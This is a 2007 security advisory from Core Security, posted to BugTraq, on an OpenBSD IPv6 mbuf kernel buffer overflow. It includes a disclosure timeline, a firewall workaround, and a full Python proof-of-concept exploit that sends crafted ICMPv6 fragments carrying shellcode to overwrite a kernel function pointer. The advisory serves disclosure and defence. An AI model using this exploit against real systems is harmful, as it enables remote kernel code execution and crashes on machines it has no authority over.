BugTraq

Back to list | Post reply

CORE-2007-0219: OpenBSD's IPv6 mbufs remote kernel buffer overflow Mar 13 2007 10:40PM
CORE Security Technologies Advisories (advisories coresecurity com)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/

OpenBSD's IPv6 mbufs remote kernel buffer overflow

Date Published: 2007-03-13

Last Update: 2007-03-13

Advisory ID: CORE-2007-0219

Bugtraq ID: None currently assigned

CVE Name: CVE-2007-1365

Title: OpenBSD's IPv6 mbufs remote kernel buffer overflow

Class: Buffer Overflow

Remotely Exploitable: Yes

Locally Exploitable: No

Advisory URL:
http://www.coresecurity.com/?action=item&id=1703

Vendors contacted:

OpenBSD.org
. 2007-02-20: First notification sent by Core.
. 2007-02-20: Acknowledgement of first notification received from the OpenBSD team.
. 2007-02-21: Core sends draft advisory and proof of concept code that demonstrates remote kernel panic.
. 2007-02-26: OpenBSD team develops a fix and commits it to the HEAD branch of source tree.
. 2007-02-26: OpenBSD team communicates that the issue is specific to OpenBSD. OpenBSD no longer uses the term "vulnerability" when referring to bugs that lead to a remote denial of service attack, as opposed to bugs that lead to remote control of vulnerable systems to avoid oversimplifying ("pablumfication") the use of the term.
. 2007-02-26: Core email sent to OpenBSD team explaining that Core considers a remote denial of service a security issue and therefore does use the term "vulnerability" to refer to it and that although remote code execution could not be proved in this specific case, the possibility should not be discarded. Core requests details about the bug and if possible an analysis of why the OpenBSD team may or may not consider the bug exploitable for remote code execution.
. 2007-02-28: OpenBSD team indicates that the bug results in corruption of mbuf chains and that only IPv6 code uses that mbuf code, there is no user data in the mbuf header fields that become corrupted and it would be surprising to be able to run arbitrary code using a bug so deep in the mbuf code. The bug simply leads to corruption of the mbuf chain.
. 2007-03-05: Core develops proof of concept code that demonstrates remote code execution in the kernel context by exploiting the mbuf overflow.
. 2007-03-05: OpenBSD team notified of PoC availability.
. 2007-03-07: OpenBSD team commits fix to OpenBSD 4.0 and 3.9 source tree branches and releases a "reliability fix" notice on the project's website.
. 2007-03-08: Core sends final draft advisory to OpenBSD requesting comments and official vendor fix/patch information.
. 2007-03-09: OpenBSD team changes notice on the project's website to "security fix" and indicates that Core's advisory should reflect the requirement of IPv6 connectivity for a successful attack from outside of the local network.
. 2007-03-12: Advisory updates with fix and workaround information and

with IPv6 connectivity comments from OpenBSD team. The "vendors contacted" section of the advisory is adjusted to reflect more accurately the nature of the communications with the OpenBSD team regarding this issue.
. 2007-03-12: Workaround recommendations revisited. It is not yet conclusive that the "scrub in inet6" directive will prevent exploitation. It effectively stops the bug from triggering according to Core's tests but OpenBSD's source code inspection does not provide a clear understanding of why that happens. It could just be that the attack traffic is malformed in some other way that is not meaningful for exploiting the vulnerability (an error in the exploit code rather than an effective workaround?). The "scrub" workaround recommendation is removed from the advisory as precaution.
. 2007-03-13: Core releases this advisory.

Release Mode: FORCED RELEASE

Vulnerability Description

The OpenBSD kernel contains a memory corruption vulnerability in the code that handles IPv6 packets. Exploitation of this vulnerability can result in:

1) Remote execution of arbitrary code at the kernel level on the vulnerable systems (complete system compromise), or;

2) Remote denial of service attacks against vulnerable systems (system crash due to a kernel panic)

The issue can be triggered by sending a specially crafted IPv6 fragmented packet.

OpenBSD systems using default installations are vulnerable because the default pre-compiled kernel binary (GENERIC) has IPv6 enabled and OpenBSD's firewall does not filter inbound IPv6 packets in its default configuration.

However, in order to exploit a vulnerable system an attacker needs to be able to inject fragmented IPv6 packets on the target system's local network. This requires direct physical/logical access to the target's local network -in which case the attacking system does not need to have a working IPv6 stack- or the ability to route or tunnel IPv6 packets to the target from a remote network.

Vulnerable Packages

OpenBSD 4.1 prior to Feb. 26th, 2006.
OpenBSD 4.0 Current
OpenBSD 4.0 Stable
OpenBSD 3.9
OpenBSD 3.8
OpenBSD 3.6
OpenBSD 3.1

All other releases that implement the IPv6 protocol stack may be vulnerable.

Solution/Vendor Information/Workaround

The OpenBSD team has released a "security fix" to correct the mbuf problem, it is available as a source code patch for OpenBSD 4.0 and 3.9 here:

ftp://ftp.openbsd.org/pub/OpenBSD/patches/4.0/common/010_m_dup1.patch

The patch can also be applied to previous versions of OpenBSD.

OpenBSD-current, 4.1, 4.0 and 3.9 have the fix incorporated in their source code tree and kernel binaries for those versions and the upcoming version 4.1 include the fix.

As a work around, users that do not need to process or route IPv6 traffic on their systems can block all inbound IPv6 packets using OpenBSD's firewall. This can be accomplished by adding the following line to /etc/pf.conf:

block in quick inet6 all

After adding the desired rules to pf.conf it is necessary to load them to the running PF using:

pfctl -f /etc/pf.conf

To enable PF use:
pfctl -e -f /etc/pf.conf

To check the status of PF and list all loaded rules use:

pfctl -s rules

Refer to the pf.conf(5) and pfctl(8) manpages for proper configuration and use of OpenBSD's firewall capabilities.

Credits

This vulnerability was found and researched by Alfredo Ortega from Core Security Technologies. The proof-of-concept code included in the advisory was developed by Alfredo Ortega with assistance from Mario Vilas and Gerardo Richarte.

Technical Description - Exploit/Concept Code

The vulnerability is due to improper handling of kernel memory buffers using mbuf structures. The vulnerability is triggered by OpenBSD-specific code at the mbuf layer and developed to accommodate the processing of IPv6 protocol packets.

By sending fragmented ICMPv6 packets an attacker can trigger an overflow of mbuf kernel memory structures resulting either in remote execution of arbitrary code in kernel mode or a kernel panic and subsequent system crash (a remote denial of service). Exploitation is accomplished by either:
1) Gaining control of execution flow by overwriting a function pointer, or;
2) Performing a mirrored 4 byte arbitrary memory overwrite similar to a user-space heap overflow.

The overflowed structure is an mbuf, the structure used to store network packets in kernel memory.

This is the definition (/sys/mbuf.h):

```
- ---------------------
struct mbuf {
struct m_hdr m_hdr;
union {
struct {
struct pkthdr MH_pkthdr; /* M_PKTHDR set */
union {
struct m_ext MH_ext; /* M_EXT set */
char MH_databuf[MHLEN];
} MH_dat;
} MH;
char M_databuf[MLEN]; /* !M_PKTHDR, !M_EXT */
} M_dat;
};
- ---------------------
```

We can see that the mbuf contains another structure of type m_ext (/sys/mbuf.h):

```
- ---------------------
/* description of external storage mapped into mbuf, valid if M_EXT set */
struct m_ext {
caddr_t ext_buf; /* start of buffer */
/* free routine if not the usual */
void (*ext_free)(caddr_t, u_int, void *);
void *ext_arg; /* argument for ext_free */
u_int ext_size; /* size of buffer, for ext_free */
int ext_type;
struct mbuf *ext_nextref;
struct mbuf *ext_prevref;
#ifdef DEBUG
const char *ext_ofile;
const char *ext_nfile;
int ext_oline;
int ext_nline;
#endif
};
- ---------------------
```

This second structure contains the variable ext_free, a pointer to a function called when the mbuf is freed. Overwriting a mbuf with a crafted ICMP v6 packet (or any type of IPv6 packet), an attacker can control the flow of execution of the OpenBSD Kernel when the m_freem() function is called on the overflowed packet from any place on the network stack.

Also, since the mbufs are stored on a linked list, another variant of the attack is to overwrite the ext_nextref and ext_prevref pointers to cause a 32 bit write on a controlled area of the kernel memory, like a user-mode heap overflow exploit.

The following is a simple working proof-of-concept program in Python that demonstrates remote code execution on vulnerable systems.

It is necessary to set the target's system Ethernet address in the program to use it.

The PoC executes the shellcode (int 3) and returns. It overwrites the ext_free() function pointer on the mbuf and forces a m_freem() on the overflowed packet.

The Impacket library is used to craft and send packets (http://oss.coresecurity.com/projects/impacket.html or download from Debian repositories)

Currently, only systems supporting raw sockets and the PF_PACKET family can run the included proof-of-concept code.

Tested against a system running "OpenBSD 4.0 CURRENT (GENERIC) Mon Oct 30"

To use the code to test a custom machine you will need to:
1) Adjust the MACADDRESS variable
2) Find the right trampoline value for your system and replace it in the code. To find a proper trampoline value use the following command: "objdump -d /bsd | grep esi | grep jmp"
3) Adjust the ICMP checksum

The exploit should stop on an int 3 and pressing "c" in ddb the kernel will continue normally.

```
- --------------------icmp.py---------------------
#
# Description:
# OpenBSD ICMPv6 fragment remote execution PoC
#
# Author:
# Alfredo Ortega
# Mario Vilas
#
# Copyright (c) 2001-2007 CORE Security Technologies, CORE SDI Inc.
# All rights reserved

from impacket import ImpactPacket
import struct
import socket
import time

class BSD_ICMPv6_Remote_BO:
MACADDRESS = (0x00,0x0c,0x29,0x44,0x68,0x6f)
def Run(self):
self.s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
self.s.bind(('eth0',0x86dd))
sourceIP = '\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x29\xff\xfe\x44\x68\x6f' # source address
destIP = '\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' # destination address Multicast Link-level
firstFragment, secondFragment = self.buildOpenBSDPackets(sourceIP,destIP)
validIcmp = self.buildValidICMPPacket(sourceIP,destIP)

for i in range(100): # fill mbufs
self.sendpacket(firstFragment)
self.sendpacket(validIcmp)
time.sleep(0.01)
for i in range(2): # Number of overflow packets to send. Increase if exploit is not reliable
self.sendpacket(secondFragment)
time.sleep(0.1)
self.sendpacket(firstFragment)
self.sendpacket(validIcmp)
time.sleep(0.1)

def sendpacket(self, data):
ipe = ImpactPacket.Ethernet()
ipe.set_ether_dhost(self.MACADDRESS)
ipd = ImpactPacket.Data(data)
ipd.ethertype = 0x86dd # Ethertype for IPv6
ipe.contains(ipd)
p = ipe.get_packet()
self.s.send(p)

def buildOpenBSDPackets(self,sourceIP,destIP):
HopByHopLenght= 1

IPv6FragmentationHeader = ''
IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (00: Hop by Hop)
IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd
IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset
IPv6FragmentationHeader += struct.pack('!B', 0x01) # offset + More fragments: yes
IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

IPv6HopByHopHeader = ''
IPv6HopByHopHeader += struct.pack('!B', 0x2c) # next header (0x3A: ICMP)
IPv6HopByHopHeader += struct.pack('!B', HopByHopLenght ) # Hdr Ext Len (frutaaaaaaa :D )
```

```
IPv6HopByHopHeader += '\x00' *(((HopByHopLenght+1)*8)-2) # Options

longitud = len(IPv6HopByHopHeader)+len(IPv6FragmentationHeader)
print longitud
IPv6Packet = ''
IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label
IPv6Packet += struct.pack( '>H', longitud ) # payload length
IPv6Packet += '\x00' # next header (2c: Fragmentation)
IPv6Packet += '\x40' # hop limit

IPv6Packet += sourceIP
IPv6Packet += destIP

firstFragment = IPv6Packet+IPv6HopByHopHeader+IPv6FragmentationHeader+('O'*150)

self.ShellCode = ''
self.ShellCode += '\xcc' # int 3
self.ShellCode += '\x83\xc4\x20\x5b\x5e\x5f\xc9\xc3\xcc' #fix ESP and ret

ICMPv6Packet = ''
ICMPv6Packet += '\x80' # type (128 == Icmp echo request)
ICMPv6Packet += '\x00' # code
ICMPv6Packet += '\xfb\x4e' # checksum
ICMPv6Packet += '\x33\xf6' # ID
ICMPv6Packet += '\x00\x00' # sequence
ICMPv6Packet += ('\x90'*(212-len(self.ShellCode)))+self.ShellCode
# Start of the next mfub (we land here):
ICMPv6Packet += '\x90\x90\x90\x90\xE9\x3B\xFF\xFF' # jump backwards
ICMPv6Packet += '\xFFAAA\x01\x01\x01\x01AAAABBBBAAAABBBB'
# mbuf+0x20:
trampoline = '\x8c\x23\x20\xd0' # jmp ESI on /bsd (find with "objdump -d /bsd | grep esi | grep jmp")
ICMPv6Packet += 'AAAAAAAA'+trampoline+'CCCCDDDDEEEEFFFFGGGG'
longitud = len(ICMPv6Packet)

IPv6Packet = ''
IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label
IPv6Packet += struct.pack( '>H', longitud ) # payload length
IPv6Packet += '\x2c' # next header (2c: Fragmentation)
IPv6Packet += '\x40' # hop limit
IPv6Packet += sourceIP
IPv6Packet += destIP

IPv6FragmentationHeader = ''
IPv6FragmentationHeader += struct.pack('!B', 0x3a) # next header (3A: icmpV6)
IPv6FragmentationHeader += struct.pack('!B', 0x00) # reserverd
IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset
IPv6FragmentationHeader += struct.pack('!B', 0x00) # offset + More fragments:no
IPv6FragmentationHeader += struct.pack('>L', 0x0EADBABE) # id

secondFragment = IPv6Packet+IPv6FragmentationHeader+ICMPv6Packet

return firstFragment, secondFragment

def buildValidICMPPacket(self,sourceIP,destIP):

ICMPv6Packet = ''
ICMPv6Packet += '\x80' # type (128 == Icmp echo request)
ICMPv6Packet += '\x00' # code
ICMPv6Packet += '\xcb\xc4' # checksum
ICMPv6Packet += '\x33\xf6' # ID
ICMPv6Packet += '\x00\x00' # sequence
ICMPv6Packet += 'T'*1232

longitud = len(ICMPv6Packet)

IPv6Packet = ''
IPv6Packet += struct.pack( '>L', 6 << 28 ) # version, traffic class, flow label
IPv6Packet += struct.pack( '>H', longitud ) # payload length
IPv6Packet += '\x3A' # next header (2c: Fragmentation)
IPv6Packet += '\x40' # hop limit
IPv6Packet += sourceIP
IPv6Packet += destIP

icmpPacket = IPv6Packet+ICMPv6Packet

return icmpPacket

attack = BSD_ICMPv6_Remote_BO()
attack.Run()
- --------------------icmp.py---------------------
```

About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.

We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies.

CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/

About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide. The company?s flagship product, CORE IMPACT, is the first automated penetration testing product for assessing specific information security threats to an organization. Penetration testing evaluates overall network security and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks.

Core augments its leading technology solution with world-class security consulting services, including penetration testing, software security auditing and related training.

Based in Boston, MA. and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.

DISCLAIMER

PGP Key

This advisory has been signed with the PGP key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.a
sc

$Id: OpenBSD-advisory.txt 350 2007-03-13 20:13:27Z iarce $

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)

iD8DBQFF9yhPyNibggitWa0RAjDhAJ0RNZgXPbmX90aG33ATUeW1UUS5QwCeLs0Z
thOH8V7fHj9NRK8wpwIcWAg=
=nosZ
-----END PGP SIGNATURE-----

[reply]